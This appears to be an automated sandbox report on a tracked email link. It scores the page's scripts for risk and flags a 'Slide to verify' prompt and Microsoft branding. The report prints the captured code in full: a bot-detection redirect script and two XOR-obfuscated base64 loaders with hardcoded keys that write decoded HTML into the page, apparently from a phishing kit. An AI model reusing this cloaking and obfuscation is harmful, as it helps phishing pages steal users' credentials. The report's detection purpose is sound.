Windows Analysis Report
https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://mandrillapp.com

{
    "risk_score": 7,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of obfuscated URLs and the script's ability to manipulate the DOM and submit forms on behalf of the user raise significant security concerns. While the script's purpose is not entirely clear, the combination of these risky behaviors suggests a high likelihood of malicious intent."
}

const currentURL = new URL(window.location.href);
const baseURL = `${currentURL.origin}${currentURL.pathname}`;
const newURL = `${baseURL}?_jd=botd`;
import(newURL).then((_b) => _b.load()).then((_b) => _b.detect())
.then((_r) => {
    let value;
    if (window.location.pathname === '/') {
        value = window.location.href.split(/\#|\?/)[1];
        if (value) {
            value = '/' + value
        } else {
            value = '/'
        }
    } else {
        value = window.location.pathname;
    }
    window.history.replaceState({}, '', window.location.href.replace(window.location.hash, ''));
    const form = document.createElement('form');
    form.method = 'post';
    const input = document.createElement('input');
    input.type = 'hidden'; 
    input.name = _r.bot ? '_b' : '_r';
    input.value = value;
    form.appendChild(input);
    document.body.appendChild(form);
    
    form.submit()
   
}).catch()

{
    "risk_score": 8,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and potential data exfiltration. The use of the `atob` function to decode a heavily obfuscated string, which is then decrypted using a hardcoded key and written to the document, is a strong indicator of malicious intent. This type of behavior is commonly associated with malware or other types of malicious scripts."
}

    var key = "secretkey";
    var encodedHtml = "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";
    var decryptedHtml = atob(encodedHtml).split("").map((c, i) =>
        String.fromCharCode(c.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join("");
    document.write(decryptedHtml);

{
    "risk_score": 9,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The heavily obfuscated code further raises concerns about its true intent. While the script may have a legitimate purpose, the combination of these factors suggests a high likelihood of malicious activity, warranting a high-risk score."
}

var key = "jamesbond";
var encodedScript = "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

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a fingerprinting library from FingerprintJS, which is a legitimate and widely used service for browser fingerprinting. While the code contains some advanced techniques, such as the use of Promises and generators, it does not exhibit any high-risk behaviors like dynamic code execution, data exfiltration, or redirects to malicious domains. The code seems to be focused on collecting various browser and device-related information, which is a common practice for analytics and fraud detection purposes. Overall, the risk score is low, as the behaviors observed are consistent with the intended purpose of the library."
}

/**
 * Fingerprint BotD v1.9.1 - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com)
 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license.
 */
var e=function(n,t){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,n){e.__proto__=n}||function(e,n){for(var t in n)Object.prototype.hasOwnProperty.call(n,t)&&(e[t]=n[t])},e(n,t)};function n(e,n,t,r){return new(t||(t=Promise))((function(i,o){function a(e){try{s(r.next(e))}catch(n){o(n)}}function u(e){try{s(r.throw(e))}catch(n){o(n)}}function s(e){var n;e.done?i(e.value):(n=e.value,n instanceof t?n:new t((function(e){e(n)}))).then(a,u)}s((r=r.apply(e,n||[])).next())}))}function t(e,n){var t,r,i,o,a={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:u(0),throw:u(1),return:u(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function u(u){return function(s){return function(u){if(t)throw new TypeError("Generator is already executing.");for(;o&&(o=0,u[0]&&(a=0)),a;)try{if(t=1,r&&(i=2&u[0]?r.return:u[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,u[1])).done)return i;switch(r=0,i&&(u=[2&u[0],i.value]),u[0]){case 0:case 1:i=u;break;case 4:return a.label++,{value:u[1],done:!1};case 5:a.label++,r=u[1],u=[0];continue;case 7:u=a.ops.pop(),a.trys.pop();continue;default:if(!(i=a.trys,(i=i.length>0&&i[i.length-1])||6!==u[0]&&2!==u[0])){a=0;continue}if(3===u[0]&&(!i||u[1]>i[0]&&u[1]<i[3])){a.label=u[1];break}if(6===u[0]&&a.label<i[1]){a.label=i[1],i=u;break}if(i&&a.label<i[2]){a.label=i[2],a.ops.push(u);break}i[2]&&a.ops.pop(),a.trys.pop();continue}u=n.call(e,a)}catch(s){u=[6,s],r=0}finally{t=i=0}if(5&u[0])throw u[1];return{value:u[0]?u[1]:void 0,done:!0}}([u,s])}}}function r(e,n,t){if(t||2===arguments.length)for(var r,i=0,o=n.length;i<o;i++)!r&&i in n||(r||(r=Array.prototype.slice.call(n,0,i)),r[i]=n[i]);return e.concat(r||Array.prototype.slice.call(n))}var i={Awesomium:"awesomium",Cef:"cef",CefSharp:"cefsharp",CoachJS:"coachjs",Electron:"electron",FMiner:"fminer",Geb:"geb",NightmareJS:"nightmarejs",Phantomas:"phantomas",PhantomJS:"phantomjs",Rhino:"rhino",Selenium:"selenium",Sequentum:"sequentum",SlimerJS:"slimerjs",WebDriverIO:"webdriverio",WebDriver:"webdriver",HeadlessChrome:"headless_chrome",Unknown:"unknown"},o=function(n){function t(e,r){var i=n.call(this,r)||this;return i.state=e,i.name="BotdError",Object.setPrototypeOf(i,t.prototype),i}return function(n,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function r(){this.constructor=n}e(n,t),n.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}(t,n),t}(Error);function a(e,n){var t={},r={bot:!1};for(var o in n){var a=(0,n[o])(e),u={bot:!1};"string"==typeof a?u={bot:!0,botKind:a}:a&&(u={bot:!0,botKind:i.Unknown}),t[o]=u,u.bot&&(r=u)}return[t,r]}function u(e){return n(this,void 0,void 0,(function(){var r,i,a=this;return t(this,(function(u){switch(u.label){case 0:return r={},i=Object.keys(e),[4,Promise.all(i.map((function(i){return n(a,void 0,void 0,(function(){var n,a,u,s,c;return t(this,(function(t){switch(t.label){case 0:n=e[i],t.label=1;case 1:return t.trys.push([1,3,,4]),a=r,u=i,c={},[4,n()];case 2:return a[u]=(c.value=t.sent(),c.state=0,c),[3,4];case 3:return s=t.sent(),r[i]=s instanceof o?{state:s.state,error:"".concat(s.name,": ").concat(s.message)}:{state:-3,error:s instanceof Error?"".concat(s.name,": ").concat(s.message):String(s)},[3,4];case 4:return[2]}}))}))})))];case 1:return u.sent(),[2,r]}}))}))}function s(e,n){return-1!==e.indexOf(n)}function c(e,n){return-1!==e.indexOf(n)}function d(e,n){if("find"in e)return e.find(n);for(var t=0;t<e.length;t++)if(n(e[t],t,e))return e[t]}function l(e){return Object.getOwnPropertyNames(e)}function f(e){for(var n=[],t=1;t<arguments.length;t++)n[t-1]=arguments[t];for(var r=function(n){if("string"==typeof n){if(s(e,n))return{value:!0}}else if(null!=d(e,(function

{
  "contains_trigger_text": true,
  "trigger_text": "Please verify to continue",
  "prominent_button_name": "Slide to verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Please verify to continue",
  "prominent_button_name": "Slide to verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}